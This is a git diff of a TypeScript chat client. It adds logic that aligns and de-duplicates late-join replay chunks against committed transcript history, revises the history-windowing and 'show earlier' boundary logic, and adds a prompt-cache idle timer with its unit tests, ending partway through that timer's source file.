+import type { ChatMessage, Chunk, StoredChunk, TurnProviderRetryEvent } from "@dispatch/wire";
+import { historyBackedProvisional } from "./reconcile";
+import type { ProvisionalChunk, RenderedChunk, TranscriptState } from "./types";
+
+/**
+ * Whether a provisional chunk is the same content as a committed chunk at the
+ * same position of the same turn (identity for de-dup, not deep equality).
+ * Tool chunks match by `toolCallId`; text-bearing chunks by exact text.
+ */
+function sameChunk(p: ProvisionalChunk, c: StoredChunk): boolean {
+ if (p.role !== c.role || p.chunk.type !== c.chunk.type) return false;
+ const a = p.chunk;
+ const b = c.chunk;
+ switch (a.type) {
+ case "tool-call":
+ case "tool-result":
+ return a.toolCallId === (b as typeof a).toolCallId;
+ case "text":
+ case "thinking":
+ case "system":
+ return a.text === (b as typeof a).text;
+ case "error":
+ return a.message === (b as typeof a).message;
+ case "image":
+ return true;
+ }
+}
+
+/**
+ * A committed chunk with no live-event counterpart, so a late-join replay can
+ * never contain it: an image persisted into the turn's history (pasted-image
+ * openings, images a tool attaches mid-turn). Alignment steps over it.
+ */
+function replayless(c: StoredChunk): boolean {
+ return c.chunk.type === "image";
+}
+
+/** Where an alignment walk stopped, and whether it stopped on a mismatch. */
+interface Walk {
+ /** First provisional index NOT matched. */
+ readonly p: number;
+ /** First committed index NOT matched (replayless chunks stepped over). */
+ readonly c: number;
+ readonly matched: number;
+ /** Ended because a side ran out — no mismatch. */
+ readonly complete: boolean;
+}
+
+/**
+ * How many consecutive committed chunks starting at `c` one provisional text /
+ * thinking chunk stands for: their texts must concatenate EXACTLY to its text
+ * (≥ 2 chunks; 0 = no such run). A provider may return several blocks in one
+ * step (Claude emits multiple thinking blocks, each with its own signature)
+ * which history persists as separate chunks, while the delta stream carries
+ * no block boundary — so live (and in the replay) they arrive merged.
+ */
+function mergedRun(
+ state: TranscriptState,
+ text: string,
+ kind: string,
+ role: string,
+ c: number,
+): number {
+ let joined = "";
+ for (let k = c; k < state.committed.length; k++) {
+ const row = state.committed[k];
+ if (row === undefined || row.role !== role || row.chunk.type !== kind) return 0;
+ if (row.chunk.type !== "text" && row.chunk.type !== "thinking") return 0;
+ joined += row.chunk.text;
+ if (joined === text) return k - c + 1 >= 2 ? k - c + 1 : 0;
+ if (!text.startsWith(joined)) return 0;
+ }
+ return 0;
+}
+
+/**
+ * Walk provisional (from `p`) and committed (from `c`) of turn `turnId` in
+ * lockstep, stepping over committed chunks the replay cannot carry and
+ * matching one merged provisional block against its split committed run.
+ * Stops at the first mismatch or when either side runs out.
+ */
+function walk(state: TranscriptState, turnId: string, p: number, c: number): Walk {
+ let matched = 0;
+ for (;;) {
+ const prov = state.provisional[p];
+ let row = state.committed[c];
+ while (row !== undefined && replayless(row) && prov?.chunk.type !== "image") {
+ row = state.committed[++c];
+ }
+ if (prov === undefined || row === undefined) return { p, c, matched, complete: true };
+ if (prov.turnId !== turnId) return { p, c, matched, complete: false };
+ let span = sameChunk(prov, row) ? 1 : 0;
+ if (span === 0 && (prov.chunk.type === "text" || prov.chunk.type === "thinking")) {
+ span = mergedRun(state, prov.chunk.text, prov.chunk.type, prov.role, c);
+ }
+ if (span === 0) return { p, c, matched, complete: false };
+ p++;
+ c += span;
+ matched++;
+ }
+}
+
+/**
+ * Accept a re-anchored alignment. A tool chunk is a unique identity
+ * (`toolCallId`), so a match on one is trusted outright; a text-bearing match
+ * must be confirmed by the WHOLE overlap aligning (no mismatch), so a repeated
+ * text can never hide divergent content.
+ */
+function anchored(w: Walk, anchor: StoredChunk): boolean {
+ if (w.matched === 0) return false;
+ return w.complete || anchor.chunk.type === "tool-call" || anchor.chunk.type === "tool-result";
+}
+
+/**
+ * Align the provisional run with the committed run of turn T (which begins at
+ * committed index `start`). Returns how many leading provisional chunks are
+ * hidden as already committed, and the walk's end.
+ *
+ * Normally both start at the turn's opening. But the chat-limit window (fresh
+ * load `?limit=` / `windowTranscript`) and `trimTranscript` unload the OLDEST
+ * committed chunks, so in a long in-flight turn the committed run is a SUFFIX
+ * of the turn while the late-join replay re-delivers the whole turn from its
+ * `turn-start`: re-anchor on the committed head inside the replay, and hide
+ * the replayed chunks before it too (persisted history, unloaded — pageable
+ * via "Show earlier"). Conversely, provisional overflow trimming can leave the
+ * replay starting after the committed head: re-anchor on the replay's head
+ * inside the committed run. Unverifiable → the plain prefix walk (fail-safe:
+ * a misalignment shows a duplicate, never hides content).
+ */
+function align(state: TranscriptState, turnId: string, start: number): Walk {
+ const direct = walk(state, turnId, 0, start);
+ // Aligned from the turn's head (or fully consistent): plain prefix semantics.
+ if (direct.complete || direct.matched > 0) return direct;
+ let headAt = start;
+ while (
+ state.committed[headAt] !== undefined &&
+ replayless(state.committed[headAt] as StoredChunk)
+ )
+ headAt++;
+ // Anchor on the committed head — or, when the head is unmatchable (e.g. the
+ // window cut between two blocks a merged provisional chunk spans), on the
+ // run's first tool chunk, a unique identity.
+ const anchorsAt = [headAt];
+ for (let i = headAt + 1; i < state.committed.length; i++) {
+ const t = state.committed[i]?.chunk.type;
+ if (t === "tool-call" || t === "tool-result") {
+ anchorsAt.push(i);
+ break;
+ }
+ }
+ for (const at of anchorsAt) {
+ const head = state.committed[at];
+ if (head === undefined) continue;
+ for (let k = 1; k < state.provisional.length; k++) {
+ const p = state.provisional[k];
+ if (p?.turnId !== turnId || !sameChunk(p, head)) continue;
+ const w = walk(state, turnId, k, at);
+ if (anchored(w, head)) return w;
+ }
+ }
+ const p0 = state.provisional[0];
+ if (p0 !== undefined) {
+ for (let j = headAt + 1; j < state.committed.length; j++) {
+ const row = state.committed[j];
+ if (row === undefined || !sameChunk(p0, row)) continue;
+ const w = walk(state, turnId, 0, j);
+ if (anchored(w, row)) return w;
+ }
+ }
+ return direct;
+}
+
+/**
+ * How many LEADING provisional chunks are already backed by committed chunks.
+ *
+ * The backend persists each step of an in-flight turn as it completes (CR-6),
+ * so a client that opens a conversation mid-turn gets those steps from history
+ * AND again from the late-join event replay (as provisional chunks). Both
+ * carry the turn's chunks in the same order, so the provisional run of turn T
+ * is aligned chunk-by-chunk with the committed run of turn T (see `align`).
+ * Skip the aligned prefix; stop at the first mismatch.
+ *
+ * A failed alignment renders the ENTIRE replay as a duplicate — and because
+ * tool cards de-dup by `toolCallId` onto the first (committed) occurrence,
+ * that duplicate tail shows only thinking/text blocks ("the tool calls
+ * disappear"). Hence the re-anchoring and the replayless-image stepping.
+ *
+ * Also reports whether the ACCUMULATING chunk is already committed (the step
+ * completed + history synced, but the next live event hasn't flushed it yet).
+ */
+function committedOverlap(state: TranscriptState): { skip: number; hideAccumulating: boolean } {
+ const first = state.provisional[0];
+ const turnId = first?.turnId ?? state.accumulating?.turnId;
+ if (turnId === undefined || state.historyRecoveryTurnIds?.includes(turnId))
+ return { skip: 0, hideAccumulating: false };
+ // The committed run for this turn (contiguous at the tail of `committed`).
+ let start = state.committed.length;
+ while (start > 0 && state.committed[start - 1]?.turnId === turnId) start--;
+ if (start === state.committed.length) return { skip: 0, hideAccumulating: false };
+
+ const end = align(state, turnId, start);
+ const skip = end.p;
+
+ let hideAccumulating = false;
+ const acc = state.accumulating;
+ if (acc !== null && acc.turnId === turnId && skip === state.provisional.length) {
+ let next = end.c;
+ while (state.committed[next] !== undefined && replayless(state.committed[next] as StoredChunk))
+ next++;
+ const c = state.committed[next];
+ hideAccumulating =
+ (c !== undefined &&
+ c.role === "assistant" &&
+ c.chunk.type === acc.kind &&
+ c.chunk.text === acc.text) ||
+ mergedRun(state, acc.text, acc.kind, "assistant", next) > 0;
+ }
+ return { skip, hideAccumulating };
+}
+
+/**
+ * How many chunks `selectChunks` would render, without materializing them.
+ * Provisional chunks hidden as history-backed / replay duplicates of committed
+ * chunks are NOT counted — the chat limit bounds what is on screen, and
+ * counting invisible duplicates would unload real history to make room for them.
+ */
+export function selectRenderedCount(state: TranscriptState): number {
+ const backed = historyBackedProvisional(state);
+ const { skip, hideAccumulating } = committedOverlap(state);
+ let count = state.committed.length;
+ for (let i = skip; i < state.provisional.length; i++) {
+ const p = state.provisional[i];
+ if (p !== undefined && !backed.has(p)) count++;
+ }
+ if (state.accumulating !== null && !hideAccumulating) count++;
+ return count;
+}
/**
* Select all chunks for rendering: committed first (seq order),
- * then provisional (seq: null).
+ * then provisional (seq: null), excluding history-backed identities. Unknown
+ * accumulating content stays live, even if its text equals an earlier step.
*/
export function selectChunks(state: TranscriptState): readonly RenderedChunk[] {
const result: RenderedChunk[] = [];
+ const backed = historyBackedProvisional(state);
+ const { skip, hideAccumulating } = committedOverlap(state);
for (const c of state.committed) {
- result.push({ seq: c.seq, role: c.role, chunk: c.chunk, provisional: false });
+ result.push(
+ c.turnId !== undefined
+ ? { seq: c.seq, role: c.role, chunk: c.chunk, provisional: false, turnId: c.turnId }
+ : { seq: c.seq, role: c.role, chunk: c.chunk, provisional: false },
+ );
}
- for (const p of state.provisional) {
- result.push({ seq: null, role: p.role, chunk: p.chunk, provisional: true });
+ for (let i = skip; i < state.provisional.length; i++) {
+ const p = state.provisional[i];
+ if (p === undefined || backed.has(p)) continue;
+ result.push(
+ p.turnId !== undefined
+ ? { seq: null, role: p.role, chunk: p.chunk, provisional: true, turnId: p.turnId }
+ : { seq: null, role: p.role, chunk: p.chunk, provisional: true },
+ );
}
- if (state.accumulating !== null) {
+ const acc = state.accumulating;
+ if (acc !== null && !hideAccumulating) {
const chunk: Chunk =
- state.accumulating.kind === "text"
- ? { type: "text", text: state.accumulating.text }
- : { type: "thinking", text: state.accumulating.text };
- result.push({ seq: null, role: "assistant", chunk, provisional: true, streaming: true });
+ acc.kind === "text" ? { type: "text", text: acc.text } : { type: "thinking", text: acc.text };
+ result.push({
+ seq: null,
+ role: "assistant",
+ chunk,
+ provisional: true,
+ streaming: true,
+ ...(acc.turnId !== undefined ? { turnId: acc.turnId } : {}),
+ });
}
return result;
}
diff --git a/src/core/chunks/trim.test.ts b/src/core/chunks/trim.test.ts
index 7c4bbef..dcc1755 100644
--- a/src/core/chunks/trim.test.ts
+++ b/src/core/chunks/trim.test.ts
@@ -103,6 +103,19 @@ describe("trimTranscript", () => {
expect(next.accumulating).not.toBeNull();
});
+ it("does not count a late-join replay's duplicates of committed chunks", () => {
+ // An in-flight turn of 8 persisted chunks + its late-join replay (8 more
+ // provisional copies). Only 8 are rendered, so a limit of 10 keeps them all
+ // instead of unloading real history to make room for invisible duplicates.
+ const T = "turn";
+ const committed = chunks(1, 8).map((c) => ({ ...c, turnId: T }));
+ const state: TranscriptState = {
+ ...stateWith(committed),
+ provisional: committed.map((c) => ({ role: c.role, chunk: c.chunk, turnId: T })),
+ };
+ expect(trimTranscript(state, 10)).toBe(state);
+ });
+
it("drops oldest provisional when committed is exhausted", () => {
const base = stateWith(chunks(1, 2));
const provisional = Array.from({ length: 20 }, (_, i) => ({
@@ -146,7 +159,7 @@ describe("windowTranscript", () => {
it("is the identity within the window", () => {
const state = stateWith(chunks(1, 50));
expect(windowTranscript(state, 75)).toBe(state);
- expect(selectHasEarlier(state)).toBe(false);
+ expect(selectHasEarlier(state, 1)).toBe(false);
});
});
@@ -178,21 +191,21 @@ describe("restoreEarlier", () => {
expect(selectHasEarlier(restored)).toBe(true);
});
- it("restoring down to seq 1 reaches the contractual origin (hasEarlier clears)", () => {
+ it("restoring down to a known boundary clears hasEarlier", () => {
const windowed = windowTranscript(stateWith(chunks(1, 100)), 75); // hidden: 1..25
const restored = restoreEarlier(windowed, chunks(1, 100), 64);
expect(restored.committed).toHaveLength(100);
expect(restored.committed[0]?.seq).toBe(1);
expect(restored.hiddenBeforeSeq).toBe(1); // floor at the origin — inert
expect(restored.hiddenThinkingCount).toBe(0);
- expect(selectHasEarlier(restored)).toBe(false);
+ expect(selectHasEarlier(restored, 1)).toBe(false);
});
it("is the identity when nothing older is known locally (server may still hold more)", () => {
const windowed = windowTranscript(stateWith(chunks(50, 200)), 75);
const restored = restoreEarlier(windowed, [], 64);
expect(restored).toBe(windowed);
- // seqs are 1-based gap-free: window starts at 126 ⇒ older chunks DO exist.
+ // The server boundary is unknown, so another page may exist.
expect(selectHasEarlier(restored)).toBe(true);
});
@@ -203,7 +216,7 @@ describe("restoreEarlier", () => {
it("works on a server-windowed transcript (no local watermark)", () => {
// A cold-cache fresh load with `?limit=` commits a suffix (seq 809..1000)
- // with hiddenBeforeSeq still 0 — hasEarlier derives from seq > 1, and a
+ // with hiddenBeforeSeq still 0 — the server boundary is unknown, and a
// backfilled run merges below it.
const state = stateWith(chunks(809, 1000));
expect(state.hiddenBeforeSeq).toBe(0);
@@ -230,6 +243,15 @@ describe("restoreEarlier", () => {
const restored = restoreEarlier(trimmed, original, 1000);
expect(restored.committed).toEqual(original);
expect(restored.hiddenBeforeSeq).toBe(1);
- expect(selectHasEarlier(restored)).toBe(false);
+ expect(selectHasEarlier(restored, 1)).toBe(false);
});
});
+
+it("uses a non-1 history boundary rather than the seq origin", () => {
+ const state = stateWith(chunks(101, 110));
+ expect(selectHasEarlier(state, 101)).toBe(false);
+ expect(selectHasEarlier(state, null)).toBe(true);
+ const windowed = windowTranscript(state, 5);
+ expect(selectHasEarlier(windowed, 101)).toBe(true);
+ expect(selectHasEarlier(restoreEarlier(windowed, state.committed, 5), 101)).toBe(false);
+});
diff --git a/src/core/chunks/trim.ts b/src/core/chunks/trim.ts
index 9846357..6612bfe 100644
--- a/src/core/chunks/trim.ts
+++ b/src/core/chunks/trim.ts
@@ -14,6 +14,7 @@
// "Show earlier messages" affordance knows where to page back in from.
import type { StoredChunk } from "@dispatch/wire";
+import { selectRenderedCount } from "./selectors";
import type { TranscriptState } from "./types";
/** Default chat limit (max loaded chunks per conversation). */
@@ -46,9 +47,14 @@ export function initialWindowSize(limit: number): number {
return Math.max(1, Math.floor(limit * 0.75));
}
-/** Total loaded (rendered) chunk count: committed + provisional + accumulating. */
+/**
+ * Total loaded (rendered) chunk count: committed + provisional + accumulating,
+ * EXCLUDING provisional replay duplicates of committed chunks (a late-join
+ * replay re-delivers an in-flight turn's already-persisted steps). Counting
+ * those invisible duplicates unloaded real history to make room for them.
+ */
function totalCount(state: TranscriptState): number {
- return state.committed.length + state.provisional.length + (state.accumulating !== null ? 1 : 0);
+ return selectRenderedCount(state);
}
function countThinking(chunks: readonly StoredChunk[]): number {
@@ -150,8 +156,7 @@ function oldestLoadedSeq(state: TranscriptState): number {
* `?beforeSeq=` backfill; chunks at/inside the window are ignored). The newest
* `count` of them are merged back in front of `committed`, and the watermark
* follows the new window start so history merges still can't resurrect what
- * remains unloaded. Identity when the window already starts at seq 1 (the
- * contractual origin) or nothing older is known locally.
+ * remains unloaded. Identity when nothing older is known locally.
*/
export function restoreEarlier(
state: TranscriptState,
@@ -159,7 +164,7 @@ export function restoreEarlier(
count: number,
): TranscriptState {
const oldest = oldestLoadedSeq(state);
- if (oldest <= 1) return state;
+ if (oldest === 0) return state;
const below = earlier.filter((c) => c.seq < oldest).sort((a, b) => a.seq - b.seq);
if (below.length === 0) return state;
const keep = below.slice(-Math.max(1, count));
@@ -172,14 +177,11 @@ export function restoreEarlier(
};
}
-/**
- * Whether earlier history exists below the loaded window — drives the
- * "Show earlier messages" affordance. Derived from the [email protected] CONTRACT
- * that per-conversation seqs are 1-based and gap-free: a loaded window that
- * starts above seq 1 means older chunks exist (locally cached or server-side),
- * whether the window came from a local trim or a server-windowed (`?limit=`)
- * fresh load.
- */
-export function selectHasEarlier(state: TranscriptState): boolean {
- return oldestLoadedSeq(state) > 1;
+/** Earlier availability uses the known server boundary, never a seq origin. */
+export function selectHasEarlier(
+ state: TranscriptState,
+ earliestSeq: number | null = null,
+): boolean {
+ const oldest = oldestLoadedSeq(state);
+ return oldest > 0 && (earliestSeq === null || oldest > earliestSeq);
}
diff --git a/src/core/chunks/types.ts b/src/core/chunks/types.ts
index 2ced736..2e2ee0c 100644
--- a/src/core/chunks/types.ts
+++ b/src/core/chunks/types.ts
@@ -2,18 +2,36 @@ import type { Chunk, Role, StoredChunk, TurnProviderRetryEvent, Usage } from "@d
/** A chunk being accumulated from streaming deltas (text or thinking). */
export interface AccumulatingChunk {
+ readonly stepId?: string;
readonly kind: "text" | "thinking";
readonly text: string;
+ /** The turn generating this chunk (from the live event's `turnId`). */
+ readonly turnId?: string;
}
/** A provisional chunk that has no authoritative seq yet. */
export interface ProvisionalChunk {
+ /** Local provenance learned from tool-call/step-complete, not content. */
+ readonly stepId?: string;
+ readonly opening?: boolean;
+ /** Steering is persisted immediately after this completed tool batch. */
+ readonly afterToolCallId?: string;
+ /** Local send identity only; turn-start tagging does NOT confirm this content. */
+ readonly localRequestId?: string;
readonly role: Role;
readonly chunk: Chunk;
+ /**
+ * The turn this chunk belongs to (from the live event's `turnId`). Absent
+ * only on the sender's optimistic user echo until its `turn-start` arrives
+ * (which tags it).
+ */
+ readonly turnId?: string;
}
/** The transcript reducer state. Holds committed history + live in-flight turn. */
export interface TranscriptState {
+ /** Turns with omitted delivery: never use payload equality as replay identity. */
+ readonly historyRecoveryTurnIds?: readonly string[];
readonly committed: readonly StoredChunk[];
readonly provisional: readonly ProvisionalChunk[];
readonly accumulating: AccumulatingChunk | null;
@@ -74,4 +92,11 @@ export interface RenderedChunk {
* dots on streaming thinking) and drop it the moment generation moves on.
*/
readonly streaming?: boolean;
+ /**
+ * The turn that produced this chunk — `StoredChunk.turnId` for committed
+ * chunks, the live event's `turnId` for provisional ones. The exact join key
+ * for placing per-turn metrics. Absent on legacy rows (persisted before the
+ * backend stamped it) and on the optimistic echo before `turn-start`.
+ */
+ readonly turnId?: string;
}
diff --git a/src/core/metrics/cache-timer.test.ts b/src/core/metrics/cache-timer.test.ts
new file mode 100644
index 0000000..d450135
--- /dev/null
+++ b/src/core/metrics/cache-timer.test.ts
@@ -0,0 +1,359 @@
+import type { AgentEvent, StepId, TurnMetrics } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import type { RenderGroup } from "../chunks";
+import {
+ CACHE_TIMER_MAX_MS,
+ CACHE_TTL_MS,
+ type CacheTimerState,
+ foldCacheTimerEvent,
+ initialCacheTimerState,
+ lastTurnRowIndex,
+ seedTurnGap,
+ stopTurnGap,
+ viewCacheTimer,
+} from "./cache-timer";
+import type { MetricsRow } from "./types";
+
+const SEC = 1000;
+const MIN = 60 * SEC;
+const C = "conv";
+
+const ev = {
+ turnStart: (turnId: string): AgentEvent => ({ type: "turn-start", conversationId: C, turnId }),
+ userMessage: (turnId: string): AgentEvent => ({
+ type: "user-message",
+ conversationId: C,
+ turnId,
+ text: "hi",
+ }),
+ text: (turnId: string): AgentEvent => ({
+ type: "text-delta",
+ conversationId: C,
+ turnId,
+ delta: "x",
+ }),
+ reasoningEnd: (turnId: string): AgentEvent => ({
+ type: "reasoning-end",
+ conversationId: C,
+ turnId,
+ }),
+ call: (turnId: string, stepId: string, toolCallId: string): AgentEvent => ({
+ type: "tool-call",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "t",
+ input: {},
+ }),
+ result: (
+ turnId: string,
+ stepId: string,
+ toolCallId: string,
+ durationMs?: number,
+ ): AgentEvent => ({
+ type: "tool-result",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "t",
+ content: "ok",
+ isError: false,
+ ...(durationMs !== undefined ? { durationMs } : {}),
+ }),
+ stepComplete: (turnId: string, stepId: string): AgentEvent => ({
+ type: "step-complete",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ }),
+ usage: (turnId: string, stepId: string): AgentEvent => ({
+ type: "usage",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ usage: { inputTokens: 1, outputTokens: 1 },
+ }),
+ done: (turnId: string): AgentEvent => ({
+ type: "done",
+ conversationId: C,
+ turnId,
+ reason: "end-turn",
+ }),
+ error: (turnId: string): AgentEvent => ({
+ type: "error",
+ conversationId: C,
+ turnId,
+ message: "boom",
+ }),
+};
+
+const noTurn = () => undefined;
+
+/** Fold `[time, event]` pairs from the initial state. */
+function run(
+ steps: readonly (readonly [number, AgentEvent])[],
+ start: CacheTimerState = initialCacheTimerState(),
+ lastTurnId: () => string | undefined = noTurn,
+): CacheTimerState {
+ return steps.reduce((s, [at, e]) => foldCacheTimerEvent(s, e, at, lastTurnId), start);
+}
+
+describe("foldCacheTimerEvent — step gaps", () => {
+ it("runs from step-complete while tools execute, and stamps when the last result returns", () => {
+ const s1 = run([
+ [0, ev.turnStart("t1")],
+ [100, ev.call("t1", "t1#0", "a")],
+ [110, ev.call("t1", "t1#0", "b")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(s1.running).toMatchObject({
+ kind: "step",
+ stepId: "t1#0",
+ startedAt: 1_000,
+ toolCount: 2,
+ });
+
+ const s2 = run([[4_000, ev.result("t1", "t1#0", "a")]], s1);
+ expect(s2.running?.kind).toBe("step"); // still waiting on "b"
+ expect(s2.stepStamps.size).toBe(0);
+
+ const s3 = run([[13_000, ev.result("t1", "t1#0", "b")]], s2);
+ expect(s3.running).toBeNull();
+ expect(s3.stepStamps.get("t1#0")).toBe(12_000);
+ });
+
+ it("stamps each step of a multi-step turn separately", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [3_000, ev.result("t1", "t1#0", "a")],
+ [5_000, ev.call("t1", "t1#1", "b")],
+ [6_000, ev.stepComplete("t1", "t1#1")],
+ [66_000, ev.result("t1", "t1#1", "b")],
+ ]);
+ expect(s.stepStamps.get("t1#0")).toBe(2_000);
+ expect(s.stepStamps.get("t1#1")).toBe(60_000);
+ });
+
+ it("uses the backend tool duration when it exceeds the wall clock (late-join replay burst)", () => {
+ const s = run([
+ [5_000, ev.call("t1", "t1#0", "a")],
+ [5_000, ev.stepComplete("t1", "t1#0")],
+ [5_000, ev.result("t1", "t1#0", "a", 42_000)],
+ ]);
+ expect(s.stepStamps.get("t1#0")).toBe(42_000);
+ });
+
+ it("stops at the next step's output when a result never matched (fallback)", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [9_000, ev.text("t1")],
+ ]);
+ expect(s.running).toBeNull();
+ expect(s.stepStamps.get("t1#0")).toBe(8_000);
+ });
+
+ it("treats a reasoning-end boundary as resumed output too", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [9_000, ev.reasoningEnd("t1")],
+ ]);
+ expect(s.running).toBeNull();
+ expect(s.stepStamps.get("t1#0")).toBe(8_000);
+ });
+
+ it("stops on a tool-call or usage from a DIFFERENT step, not its own", () => {
+ const base = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(run([[2_000, ev.usage("t1", "t1#0")]], base).running?.kind).toBe("step");
+ expect(run([[3_000, ev.usage("t1", "t1#1")]], base).stepStamps.get("t1#0")).toBe(2_000);
+ expect(run([[4_000, ev.call("t1", "t1#1", "z")]], base).stepStamps.get("t1#0")).toBe(3_000);
+ });
+
+ it("discards a step with no tool calls (the final step of a turn)", () => {
+ const s = run([
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [1_050, ev.done("t1")],
+ ]);
+ expect(s.stepStamps.size).toBe(0);
+ expect(s.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 1_050 });
+ });
+
+ it("stamps a step whose tools were still running when the turn ended (stopped)", () => {
+ const s = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ [21_000, ev.done("t1")],
+ ]);
+ expect(s.stepStamps.get("t1#0")).toBe(20_000);
+ expect(s.running?.kind).toBe("turn");
+ });
+});
+
+describe("foldCacheTimerEvent — turn gaps", () => {
+ it("starts at done and is stamped on that turn when the next turn starts", () => {
+ const s = run([
+ [1_000, ev.done("t1")],
+ [91_000, ev.userMessage("t2")],
+ [91_500, ev.turnStart("t2")],
+ ]);
+ expect(s.running).toBeNull();
+ expect(s.turnStamps.get("t1")).toBe(90_000);
+ });
+
+ it("an error also ends the turn", () => {
+ expect(run([[7, ev.error("t1")]]).running).toEqual({
+ kind: "turn",
+ turnId: "t1",
+ startedAt: 7,
+ });
+ });
+
+ it("stopTurnGap stamps on a local send", () => {
+ const s = stopTurnGap(run([[1_000, ev.done("t1")]]), 4_000, noTurn);
+ expect(s.running).toBeNull();
+ expect(s.turnStamps.get("t1")).toBe(3_000);
+ });
+
+ it("stopTurnGap is a no-op while a step gap runs", () => {
+ const base = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(stopTurnGap(base, 2_000, noTurn)).toBe(base);
+ });
+});
+
+describe("seedTurnGap", () => {
+ it("seeds a turn gap with no turnId, stamped on the most recent turn when stopped", () => {
+ const seeded = seedTurnGap(initialCacheTimerState(), 1_000);
+ expect(seeded.running).toEqual({ kind: "turn", turnId: null, startedAt: 1_000 });
+ const s = stopTurnGap(seeded, 61_000, () => "t9");
+ expect(s.turnStamps.get("t9")).toBe(60_000);
+ });
+
+ it("drops a seeded gap when the most recent turn is unknown", () => {
+ const s = stopTurnGap(seedTurnGap(initialCacheTimerState(), 1_000), 2_000, noTurn);
+ expect(s.running).toBeNull();
+ expect(s.turnStamps.size).toBe(0);
+ });
+
+ it("keeps the later start, never overrides a step gap, ignores non-finite", () => {
+ const live = run([[5_000, ev.done("t1")]]);
+ expect(seedTurnGap(live, 4_000).running).toEqual({
+ kind: "turn",
+ turnId: "t1",
+ startedAt: 5_000,
+ });
+ expect(seedTurnGap(live, 6_000).running).toEqual({
+ kind: "turn",
+ turnId: "t1",
+ startedAt: 6_000,
+ });
+ const step = run([
+ [0, ev.call("t1", "t1#0", "a")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(seedTurnGap(step, 9_000)).toBe(step);
+ expect(seedTurnGap(initialCacheTimerState(), Number.NaN).running).toBeNull();
+ });
+});
+
+describe("viewCacheTimer", () => {
+ it("formats m:ss up to 10 minutes", () => {
+ expect(viewCacheTimer(0).label).toBe("0:00");
+ expect(viewCacheTimer(9 * SEC + 999).label).toBe("0:09");
+ expect(viewCacheTimer(MIN + 5 * SEC).label).toBe("1:05");
+ expect(viewCacheTimer(5 * MIN + 30 * SEC).label).toBe("5:30");
+ expect(viewCacheTimer(9 * MIN + 59 * SEC).label).toBe("9:59");
+ expect(viewCacheTimer(9 * MIN + 59 * SEC).capped).toBe(false);
+ });
+
+ it("reads '10+ min' and is capped at and past 10 minutes", () => {
+ expect(viewCacheTimer(CACHE_TIMER_MAX_MS)).toEqual({
+ label: "10+ min",
+ level: "error",
+ capped: true,
+ });
+ expect(viewCacheTimer(3 * 60 * MIN).label).toBe("10+ min");
+ });
+
+ it("colours by the 5-minute cache TTL", () => {
+ expect(viewCacheTimer(3 * MIN + 59 * SEC).level).toBe("success");
+ expect(viewCacheTimer(4 * MIN).level).toBe("warning");
+ expect(viewCacheTimer(CACHE_TTL_MS).level).toBe("error");
+ expect(viewCacheTimer(7 * MIN).level).toBe("error");
+ });
+
+ it("clamps negative / non-finite elapsed (clock skew) to 0:00", () => {
+ expect(viewCacheTimer(-5 * SEC).label).toBe("0:00");
+ expect(viewCacheTimer(Number.NaN).label).toBe("0:00");
+ });
+});
+
+function userRow(text = "hi"): MetricsRow {
+ const group: RenderGroup = {
+ kind: "single",
+ chunk: { seq: null, role: "user", chunk: { type: "text", text }, provisional: true },
+ };
+ return { kind: "group", group };
+}
+
+function assistantRow(turnId: string): MetricsRow {
+ const group: RenderGroup = {
+ kind: "single",
+ chunk: {
+ seq: 1,
+ role: "assistant",
+ chunk: { type: "text", text: "ok" },
+ provisional: false,
+ turnId,
+ },
+ };
+ return { kind: "group", group };
+}
+
+function turnRow(turnId: string, turnNumber: number): MetricsRow {
+ const usage = { inputTokens: 10, outputTokens: 5 };
+ const turn: TurnMetrics = { turnId, usage, steps: [{ stepId: `${turnId}#0` as StepId, usage }] };
+ return {
+ kind: "turn-metrics",
+ turn,
+ turnNumber,
+ cumulativeUsage: usage,
+ prevLastStepUsage: null,
+ };
+}
+
+describe("lastTurnRowIndex", () => {
+ it("picks the LAST turn-metrics row", () => {
+ const rows = [
+ userRow(),
+ assistantRow("t1"),
+ turnRow("t1", 1),
+ userRow(),
+ assistantRow("t2"),
+ turnRow("t2", 2),
+ ];
+ expect(lastTurnRowIndex(rows)).toBe(5);
+ });
+
+ it("is null once a user message follows the last turn", () => {
+ expect(lastTurnRowIndex([userRow(), turnRow("t1", 1), userRow("next")])).toBeNull();
+ });
+
+ it("skips trailing non-user rows after the turn row", () => {
+ expect(lastTurnRowIndex([userRow(), turnRow("t1", 1), assistantRow("t1")])).toBe(1);
+ });
+
+ it("is null with no turn-metrics rows", () => {
+ expect(lastTurnRowIndex([])).toBeNull();
+ expect(lastTurnRowIndex([userRow(), assistantRow("t1")])).toBeNull();
+ });
+});
diff --git a/src/core/metrics/cache-timer.ts b/src/core/metrics/cache-timer.ts
new file mode 100644
index 0000000..3d7270d
--- /dev/null
+++ b/src/core/metrics/cache-timer.ts
@@ -0,0 +1,286 @@
+import type { AgentEvent } from "@dispatch/wire";
+import type { MetricsRow } from "./types";
+
+/**
+ * Pure core for the **cache timer** — how long the prompt cache has sat idle
+ * between model requests. Anthropic's prompt cache (as used by the Claude Code
+ * subscription) expires 5 minutes after its last hit, so the gaps BETWEEN
+ * requests decide whether the next request reads from cache:
+ *
+ * - **step gap**: a step (one LLM round-trip) finished and its tools are
+ * executing. Starts at `step-complete`; stops when the step's last tool
